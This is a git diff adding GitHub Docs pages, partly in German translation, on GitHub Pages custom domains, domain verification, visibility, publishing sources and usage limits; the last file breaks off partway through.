index 0000000000..d652897baa
--- /dev/null
+++ b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
@@ -0,0 +1,77 @@
+---
+title: Problembehandlung bei benutzerdefinierten Domänen und GitHub-Seiten
+intro: 'Bei Problemen mit benutzerdefinierten Domänen oder HTTPS für deine {% data variables.product.prodname_pages %}-Website kannst du zur Fehlerbehebung nach häufigen Fehlern suchen.'
+redirect_from:
+  - /articles/my-custom-domain-isn-t-working
+  - /articles/custom-domain-isn-t-working
+  - /articles/troubleshooting-custom-domains
+  - /articles/troubleshooting-custom-domains-and-github-pages
+  - /github/working-with-github-pages/troubleshooting-custom-domains-and-github-pages
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Troubleshoot a custom domain
+ms.openlocfilehash: ce6251dbe96d531462c5c664dc9000f138059889
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147428388'
+---
+## _CNAME_-Fehler
+
+{% ifversion pages-custom-workflow %} Wenn du die Veröffentlichung über einen benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow vornimmst, wird jede _CNAME_-Datei ignoriert und ist nicht erforderlich.{% endif %}
+
+Wenn die Veröffentlichung über einen Branch erfolgt, werden benutzerdefinierte Domänen in einer _CNAME_-Datei im Stamm deiner Veröffentlichungsquelle gespeichert. Du kannst diese Datei wahlweise in den Repository-Einstellungen oder manuell hinzufügen oder aktualisieren. Weitere Informationen findest du unter „[Verwalten einer benutzerdefinierten Domäne für deine {% data variables.product.prodname_pages %}-Website](/articles/managing-a-custom-domain-for-your-github-pages-site)“.
+
+Damit deine Website in der richtigen Domäne gerendert wird, prüfe, ob die <_CNAME_-Datei sich noch im Repository befindet. Zahlreiche Generatoren für statische Websites erzwingen beispielsweise einen Push-Vorgang an das Repository, wodurch allenfalls die _CNAME_-Datei überschrieben wird, die du beim Konfigurieren der benutzerdefinierten Domäne in das Repository eingefügt hast. Wenn du deine Website lokal erstellst und generierte Dateien per Push-Vorgang an {% data variables.product.product_name %} überträgst, musst du in jedem Fall zunächst einen Pull-Vorgang für den Commit vornehmen, mit dem die _CNAME_-Datei in das lokale Repository eingefügt wurde, sodass die Datei in den Build aufgenommen wird.
+
+Stelle dann sicher, dass die _CNAME_-Datei ordnungsgemäß formatiert ist.
+
+- Der Dateiname der _CNAME_-Datei muss in Großbuchstaben geschrieben sein.
+- Der Name der _CNAME_-Datei darf nur eine Domäne enthalten. Sollen mehrere Domänen auf deine Website verweisen, lasse dir von deinem DNS-Provider eine Weiterleitung einrichten.
+- Die _CNAME_-Datei darf nur den Domänennamen enthalten. Beispiel: `www.example.com`, `blog.example.com` oder `example.com`.
+- Der Domänenname muss für alle {% data variables.product.prodname_pages %}-Websites eindeutig sein. Wenn beispielsweise die _CNAME_-Datei eines anderen Repositorys `example.com` enthält, kannst du `example.com` in der _CNAME_-Datei für dein Repository nicht verwenden.
+
+## Fehlerhafte DNS-Konfiguration
+
+Falls du die Standarddomäne für deine Website nicht ohne Weiteres auf die benutzerdefinierte Domäne verweisen kannst, wende dich an deinen DNS-Provider.
+
+Du kannst auch eine der folgenden Methoden verwenden, um zu testen, ob die DNS-Einträge deiner benutzerdefinierten Domäne ordnungsgemäß konfiguriert sind:
+
+- Ein CLI-Tool wie z. B. `dig`. Weitere Informationen findest du unter „[Verwalten einer benutzerdefinierten Domäne für deine {% data variables.product.prodname_pages %}-Website](/articles/managing-a-custom-domain-for-your-github-pages-site)“.
+- Ein Online-DNS-Lookuptool.
+
+## Nicht unterstützte, benutzerdefinierte Domänen-Namen
+
+Wird deine benutzerdefinierte Domäne nicht unterstützt, musst du deine Domäne durch eine unterstützte Domäne ersetzen. Du kannst auch bei deinem DNS-Provider erfragen, ob Weiterleitungsdienste für Domänennamen angeboten werden.
+
+Deine Website darf nicht:
+- Mehrere Apex-Domänen umfassen. Beispielsweise sowohl `example.com` als auch `anotherexample.com`.
+- Verwende mehrere `www`-Unterdomänen. Beispielsweise sowohl `www.example.com` als auch `www.anotherexample.com`.
+- Sowohl eine Apex-Domäne als auch eine benutzerdefinierte Subdomäne umfassen. Beispielsweise sowohl `example.com` als auch `docs.example.com`.
+
+  Die einzige Ausnahme ist die `www`-Unterdomäne. Wenn die sie ordnungsgemäß konfiguriert ist, wird die `www`-Unterdomäne automatisch an die Apex-Domäne umgeleitet. Weitere Informationen findest du unter „[Verwalten einer benutzerdefinierten Domäne für deine {% data variables.product.prodname_pages %}-Website](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)“.
+
+{% data reusables.pages.wildcard-dns-warning %}
+
+Eine Liste der unterstützten benutzerdefinierten Domänen findest du unter „[Informationen zu benutzerdefinierten Domänen und {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)“.
+
+## HTTPS-Fehler
+
+Auf {% data variables.product.prodname_pages %}-Websites mit benutzerdefinierten Domänen, die ordnungsgemäß mit `CNAME`-, `ALIAS`-, `ANAME`- oder `A`- DNS-Einträgen konfiguriert sind, kann über HTTPS zugegriffen werden. Weitere Informationen findest du unter [Sichern deiner {% data variables.product.prodname_pages %}-Website mit HTTPS](/articles/securing-your-github-pages-site-with-https).
+
+Nach der Konfiguration deiner benutzerdefinierten Domäne kann es bis zu einer Stunde dauern, bis die Website über HTTPS verfügbar ist. Nach einer Aktualisierung bestehender DNS-Einstellungen musst du deine benutzerdefinierte Domäne zudem eventuell aus dem Repository deiner Website entfernen und erneut dort einfügen, um den Prozess der HTTPS-Aktivierung zu initiieren. Weitere Informationen findest du unter „[Verwalten einer benutzerdefinierten Domäne für deine {% data variables.product.prodname_pages %}-Website](/articles/managing-a-custom-domain-for-your-github-pages-site)“.
+
+Wenn du CAA-Einträge (Certification Authority Authorization) verwendest, muss mindestens ein CAA-Eintrag mit dem Wert `letsencrypt.org` vorhanden sein, wenn deine Website über HTTPS zugänglich sein soll. Weitere Informationen findest du unter „[Zertifizierungsstelle für Autorisierung (Certificate Authority Authorization, CAA)](https://letsencrypt.org/docs/caa/)“ in der Dokumentation „Let's Encrypt“.
+
+## URL-Formatierung unter Linux
+
+Wenn die URL für deine Website einen Benutzernamen oder einen Organisationsnamen enthält, der mit einem Bindestrich beginnt oder darauf endet oder aufeinanderfolgende Bindestriche enthält, wird Linux-Benutzern eine Fehlermeldung angezeigt, wenn sie versuchen, die Website aufzurufen. Ändere zum Beheben dieses Problems deinen {% data variables.product.product_name %}-Benutzernamen, um die nicht alphanumerischen Zeichen zu entfernen. Weitere Informationen findest du unter „[Ändern deines {% data variables.product.prodname_dotcom %}-Benutzernamens](/articles/changing-your-github-username/)“.
+
+## Browser-Cache
+
+Wenn du deine benutzerdefinierte Domäne erst vor kurzem geändert oder entfernt hast und in deinem Browser nicht auf die neue URL zugreifen kannst, solltest du den Cache deines Browsers löschen. Die neue URL ist danach vermutlich erreichbar. Informationen zum Löschen deines Caches findest du in der Dokumentation deines Browsers.
diff --git a/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md
new file mode 100644
index 0000000000..15f9921c41
--- /dev/null
+++ b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md
@@ -0,0 +1,52 @@
+---
+title: Überprüfen deiner benutzerdefinierten Domäne für GitHub Seiten
+intro: 'Du kannst die Sicherheit deiner benutzerdefinierten Domäne erhöhen und Übernahmeangriffe vermeiden, indem du deine Domäne überprüfst.'
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Verify a custom domain
+ms.openlocfilehash: b3c44dacd98882afa7a43854b96d803352e879ca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147529671'
+---
+## Informationen zur Domänenüberprüfung für GitHub Seiten
+
+Wenn du deine benutzerdefinierte Domäne für dein persönliches Konto oder deine Organisation verifizierst, können nur Repositorys, die deinem persönlichen Konto oder deiner Organisation gehören, verwendet werden, um eine {% data variables.product.prodname_pages %} Seite für die verifizierte benutzerdefinierte Domäne oder die unmittelbaren Subdomänen der Domäne zu veröffentlichen.
+
+Die Überprüfung deiner Domäne verhindert, dass andere GitHub-Benutzer deine benutzerdefinierte Domäne übernehmen und sie zur Veröffentlichung ihrer eigenen {% data variables.product.prodname_pages %} Seite verwenden. Domänenübernahmen können passieren, wenn du dein Repositorys löschst, wenn dein Abrechnungstarif herabgestuft wird oder nach einer anderen Änderung, die die benutzerdefinierte Domäne aufhebt oder {% data variables.product.prodname_pages %} deaktiviert, während die Domäne für {% data variables.product.prodname_pages %} konfiguriert bleibt und nicht verifiziert wird.
+
+Wenn du eine Domäne überprüfst, werden auch alle unmittelbaren Subdomänen in die Überprüfung einbezogen. Wenn zum Beispiel die benutzerdefinierte Domäne `github.com` verifiziert ist, sind auch `docs.github.com`, `support.github.com` und alle anderen unmittelbaren Subdomänen vor Übernahmen geschützt.
+
+{% data reusables.pages.wildcard-dns-warning %}
+
+Es ist auch möglich, eine Domäne für deine Organisation{% ifversion ghec %} oder dein Unternehmen{% endif %} zu verifizieren, wodurch ein "Verifiziert"-Badge auf dem Organisations {% ifversion ghec %} oder Unternehmensprofil{% endif %} {% ifversion ghec %} angezeigt wird und du auf {% data variables.product.prodname_ghe_cloud %} Benachrichtigungen auf E-Mail-Adressen beschränken kannst, die die verifizierte Domäne verwenden{% endif %}. Weitere Informationen findest du unter " [Verifizieren oder Genehmigen einer Domäne für dein Unternehmen](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization) {% ifversion ghec %}" und " [Verifizieren oder Genehmigen einer Domäne für dein Unternehmen ](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise){% endif %}."
+
+## Verifizieren einer Domäne für deine Benutzerwebsite
+
+{% data reusables.user-settings.access_settings %}
+1. Klicke auf der Randleiste im Abschnitt "Code, Planung und Automatisierung" auf **{% octicon "browser" aria-label="The pages icon" %} Seiten**.
+{% data reusables.pages.settings-verify-domain-setup %}
+1. Warte, bis deine DNS-Konfiguration geändert werden kann. Dies kann direkt sein oder bis zu 24 Stunden dauern. Du kannst die Änderung an deiner DNS-Konfiguration bestätigen, indem du den `dig` Befehl in der Befehlszeile ausführst. Ersetze im folgenden Befehl `USERNAME` durch deinen Benutzernamen und `example.com` durch die Domäne, die du verifizieren willst. Wenn deine DNS-Konfiguration aktualisiert wurde, solltest du deinen neuen TXT-Eintrag in der Ausgabe sehen.
+  ```
+  dig _github-pages-challenge-USERNAME.example.com +nostats +nocomments +nocmd TXT
+  ```
+{% data reusables.pages.settings-verify-domain-confirm %}
+
+## Verifizieren einer Domäne für deine Organisationswebsite
+
+Organisationsbesitzer können benutzerdefinierte Domänen für ihre Organisation überprüfen.
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke auf der Randleiste im Abschnitt "Code, Planung und Automatisierung" auf **{% octicon "browser" aria-label="The browser icon" %} Seiten**.
+{% data reusables.pages.settings-verify-domain-setup %}
+1. Warte, bis deine DNS-Konfiguration geändert werden kann. Dies kann direkt sein oder bis zu 24 Stunden dauern. Du kannst die Änderung an deiner DNS-Konfiguration bestätigen, indem du den `dig` Befehl in der Befehlszeile ausführst. Ersetze im folgenden Befehl `ORGANIZATION` durch den Namen deiner Organisation und `example.com` durch die Domäne, die du verifizieren willst. Wenn deine DNS-Konfiguration aktualisiert wurde, solltest du deinen neuen TXT-Eintrag in der Ausgabe sehen.
+  ```
+  dig _github-pages-challenge-ORGANIZATION.example.com +nostats +nocomments +nocmd TXT
+  ```
+{% data reusables.pages.settings-verify-domain-confirm %}
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/de-DE/content/pages/getting-started-with-github-pages/about-github-pages.md
new file mode 100644
index 0000000000..960da5c7d3
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/about-github-pages.md
@@ -0,0 +1,151 @@
+---
+title: About GitHub Pages
+intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.'
+redirect_from:
+  - /articles/what-are-github-pages
+  - /articles/what-is-github-pages
+  - /articles/user-organization-and-project-pages
+  - /articles/using-a-static-site-generator-other-than-jekyll
+  - /articles/mime-types-on-github-pages
+  - /articles/should-i-rename-usernamegithubcom-repositories-to-usernamegithubio
+  - /articles/about-github-pages
+  - /github/working-with-github-pages/about-github-pages
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+---
+
+## About {% data variables.product.prodname_pages %}
+
+{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.product_name %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples).
+
+{% ifversion fpt or ghec %}
+You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see "[Using a custom domain with {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)."
+{% endif %}
+
+{% ifversion fpt or ghec %}
+{% data reusables.pages.about-private-publishing %} For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+{% endif %}
+
+To get started, see "[Creating a {% data variables.product.prodname_pages %} site](/articles/creating-a-github-pages-site)."
+
+{% ifversion fpt or ghes or ghec %}
+Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+{% endif %}
+
+## Types of {% data variables.product.prodname_pages %} sites
+
+There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.product_name %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+
+To publish a user site, you must create a repository owned by your personal account that's named {% ifversion fpt or ghec %}`<username>.github.io`{% else %}`<username>.<hostname>`{% endif %}. To publish an organization site, you must create a repository owned by an organization that's named {% ifversion fpt or ghec %}`<organization>.github.io`{% else %}`<organization>.<hostname>`{% endif %}. {% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://<username>.github.io` or `http(s)://<organization>.github.io`.{% elsif ghae %}User and organization sites are available at `http(s)://pages.<hostname>/<username>` or `http(s)://pages.<hostname>/<organization>`.{% endif %}
+
+The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://<username>.github.io/<repository>` or `http(s)://<organization>.github.io/<repository>`.{% elsif ghae %}Project sites are available at `http(s)://pages.<hostname>/<username>/<repository>/` or `http(s)://pages.<hostname>/<organization>/<repository>/`.{% endif %}
+
+{% ifversion ghec %}
+If you publish your site privately, the URL for your site will be different. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
+{% endif %}
+
+{% ifversion fpt or ghec %}
+For more information about how custom domains affect the URL for your site, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)."
+{% endif %}
+
+You can only create one user or organization site for each account on {% data variables.product.product_name %}. Project sites, whether owned by an organization or a personal account, are unlimited.
+
+{% ifversion ghes %}
+The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.location.product_location %}.
+
+| Type of site | Subdomain isolation enabled | Subdomain isolation disabled |
+| ------------ | --------------------------- | ---------------------------- |
+User | `http(s)://pages.<hostname>/<username>` | `http(s)://<hostname>/pages/<username>` |
+Organization | `http(s)://pages.<hostname>/<organization>` | `http(s)://<hostname>/pages/<organization>` |
+Project site owned by personal account | `http(s)://pages.<hostname>/<username>/<repository>/` | `http(s)://<hostname>/pages/<username>/<repository>/`
+Project site owned by organization account | `http(s)://pages.<hostname>/<orgname>/<repository>/` | `http(s)://<hostname>/pages/<orgname>/<repository>/`
+
+For more information, see "[Enabling subdomain isolation](/enterprise/admin/installation/enabling-subdomain-isolation)" or contact your site administrator.
+{% endif %}
+
+## Publishing sources for {% data variables.product.prodname_pages %} sites
+
+{% data reusables.pages.private_pages_are_public_warning %}
+
+{% data reusables.pages.pages-about-publishing-source %}
+
+For more information, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+
+{% ifversion ghec %}
+## Limitations for {% data variables.product.prodname_emus %}
+If you're a {% data variables.enterprise.prodname_managed_user %}, your use of {% data variables.product.prodname_pages %} is limited.
+
+  - {% data variables.product.prodname_pages %} sites can only be published from repositories owned by organizations.
+  - {% data variables.product.prodname_pages %} sites are only visible to other members of the enterprise.
+  - You cannot create an organization site (a site published from a repository named `<organization>.github.io`)
+
+For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)."
+{% endif %}
+
+## Static site generators
+
+{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server.
+
+{% ifversion pages-custom-workflow %}
+
+If you use a custom build process or a static site generator other than Jekyll, you can write a {% data variables.product.prodname_actions %} to build and publish your site. {% data variables.product.product_name %} provides starter workflows for several static site generators. For more information, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+
+If you publish your site from a source branch, {% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, we recommend that you write a {% data variables.product.prodname_actions %} to build and publish your site instead. Otherwise, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally.
+
+{% else %}
+
+We recommend Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+
+{% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally.
+
+{% endif %}
+
+{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python.
+
+## Limits on use of {% data variables.product.prodname_pages %}
+
+{% ifversion fpt or ghec %}
+{% data variables.product.prodname_pages %} sites created after June 15, 2016, and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see "[Securing your {% data variables.product.prodname_pages %} with HTTPS](/articles/securing-your-github-pages-site-with-https)."
+
+### Prohibited uses
+{% endif %}
+{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web-hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %}
+
+In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/), including the restrictions on get-rich-quick schemes, sexually obscene content, and violent or threatening content or activity.
+
+### Usage limits
+{% data variables.product.prodname_pages %} sites are subject to the following usage limits:
+
+  - {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1 GB.{% ifversion fpt or ghec %} For more information, see "[What is my disk quota?](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations)"{% endif %}
+  - Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB.
+{% ifversion fpt or ghec %}
+  - {% data variables.product.prodname_pages %} sites have a *soft* bandwidth limit of 100 GB per month.
+  - {% data variables.product.prodname_pages %} sites have a *soft* limit of 10 builds per hour.{% ifversion pages-custom-workflow %} This limit does not apply if you build and publish your site with a custom {% data variables.product.prodname_actions %} workflow {% endif %}
+  - In order to provide consistent quality of service for all {% data variables.product.prodname_pages %} sites, rate limits may apply. These rate limits are not intended to interfere with legitimate uses of {% data variables.product.prodname_pages %}. If your request triggers rate limiting, you will receive an appropriate response with an HTTP status code of `429`, along with an informative HTML body.
+
+If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.contact_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs.
+
+{% endif %}
+
+## MIME types on {% data variables.product.prodname_pages %}
+
+A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db).
+
+While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types).
+
+{% ifversion fpt %}
+## Data collection
+
+When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see <a href="/articles/github-privacy-statement/" class="dotcom-only">{% data variables.product.prodname_dotcom %} Privacy Statement</a>.
+{% endif %}
+
+## Further reading
+
+- [{% data variables.product.prodname_pages %}](https://github.com/skills/github-pages) on {% data variables.product.prodname_learning %}
+- "[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)"
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md b/translations/de-DE/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md
new file mode 100644
index 0000000000..a6bfddb0d8
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md
@@ -0,0 +1,49 @@
+---
+title: Changing the visibility of your GitHub Pages site
+intro: You can manage access control for your project site by publishing the site publicly or privately.
+versions:
+  ghec: '*'
+permissions: 'People with admin access to a repository can change the visibility of a {% data variables.product.prodname_pages %} site.'
+redirect_from:
+  - /github/working-with-github-pages/changing-the-visibility-of-your-github-pages-site
+shortTitle: Change visibility of site
+---
+
+## About access control for {% data variables.product.prodname_pages %} sites
+
+With access control for {% data variables.product.prodname_pages %}, you can restrict access to your project site by publishing the site privately. A privately published site can only be accessed by people with read access to the repository the site is published from. You can use privately published sites to share your internal documentation or knowledge base with members of your enterprise. 
+
+{% data reusables.pages.privately-publish-ghec-only %}
+
+If your enterprise uses {% data variables.product.prodname_emus %}, access control is not available, and all {% data variables.product.prodname_pages %} sites are only accessible to other enterprise members. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)."
+
+If your organization uses {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, you can choose to publish your project sites privately or publicly to anyone on the internet.
+
+Access control is available for project sites that are published from a private or internal repository that are owned by the organization. You cannot manage access control for an organization site. For more information about the types of {% data variables.product.prodname_pages %} sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
+
+## About subdomains for privately published sites
+
+Privately published sites are available at a different subdomain than publicly published sites. This ensures that your {% data variables.product.prodname_pages %} site is secure from the moment it's published:
+
+- We automatically secure every subdomain of `*.pages.github.io` with a TLS certificate, and enforce HSTS to ensure that browsers always serve the page over HTTPS.
+- We use a unique subdomain for the privately published site to ensure that other repositories in your organization cannot publish content on the same origin as the site. This protects your site from "[cookie tossing](https://github.blog/2013-04-09-yummy-cookies-across-domains/)". This is also why we don't host {% data variables.product.prodname_pages %} sites on the `github.com` domain.
+
+You can see your site's unique subdomain in the "Pages" tab of your repository settings. If you're using a static site generator configured to build the site with the repository name as a path, you may need to update the settings for the static site generator when changing the site to private. For more information, see "[Configuring Jekyll in your {% data variables.product.prodname_pages %} site](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)" or the documentation for your static site generator.
+
+To use a shorter and more memorable domain for your privately published site, you can configure a custom domain. For more information, see "[Configuring a custom domain for your {% data variables.product.prodname_pages %} site](/pages/configuring-a-custom-domain-for-your-github-pages-site)."
+
+## Changing the visibility of your {% data variables.product.prodname_pages %} site
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+3. Under "{% data variables.product.prodname_pages %}", select the **{% data variables.product.prodname_pages %} visibility** drop-down menu, then click a visibility.
+   ![Drop-down to choose a visibility for your site](/assets/images/help/pages/public-or-private-visibility.png)
+4. To see your published site, under "{% data variables.product.prodname_pages %}", click your site's URL.
+![URL of your privately published site](/assets/images/help/pages/click-private-pages-url-to-preview.png)
+
+  {% note %}
+
+  {% data reusables.pages.twenty-minutes-to-publish %}
+
+  {% endnote %}
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/de-DE/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
new file mode 100644
index 0000000000..1fcd901773
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
@@ -0,0 +1,100 @@
+---
+title: Configuring a publishing source for your GitHub Pages site
+intro: '{% ifversion pages-custom-workflow %}You can configure your {% data variables.product.prodname_pages %} site to publish when changes are pushed to a specific branch, or you can write a {% data variables.product.prodname_actions %} workflow to publish your site.{% else%}If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.{% endif %}'
+redirect_from:
+  - /articles/configuring-a-publishing-source-for-github-pages
+  - /articles/configuring-a-publishing-source-for-your-github-pages-site
+  - /github/working-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site
+product: '{% data reusables.gated-features.pages %}'
+permissions: 'People with admin or maintainer permissions for a repository can configure a publishing source for a {% data variables.product.prodname_pages %} site.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Configure publishing source
+---
+
+## About publishing sources
+
+{% data reusables.pages.pages-about-publishing-source %}
+
+{% data reusables.pages.private_pages_are_public_warning %}
+
+## Publishing from a branch
+
+1. Make sure the branch you want to use as your publishing source already exists in your repository.
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+{% ifversion pages-custom-workflow %}
+1. Under "Build and deployment", under "Source", select **Deploy from a branch**.
+1. Under "Build and deployment", under "Branch", use the **None** or **Branch** drop-down menu and select a publishing source.
+
+   ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+{% else %}
+3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source.
+  ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+{% endif %}
+4. Optionally, use the drop-down menu to select a folder for your publishing source.
+  ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png)
+5. Click **Save**.
+  ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png)
+
+### Troubleshooting publishing from a branch
+
+{% data reusables.pages.admin-must-push %}
+
+If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)."
+
+{% ifversion build-pages-with-actions %}
+
+Your {% data variables.product.prodname_pages %} site will always be deployed with a {% data variables.product.prodname_actions %} workflow run, even if you've configured your {% data variables.product.prodname_pages %} site to be built using a different CI tool. Most external CI workflows "deploy" to GitHub Pages by committing the build output to the `gh-pages` branch of the repository, and typically include a `.nojekyll` file. When this happens, the {% data variables.product.prodname_actions %} workflow will detect the state that the branch does not need a build step, and will execute only the steps necessary to deploy the site to {% data variables.product.prodname_pages %} servers.
+
+To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)." For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+
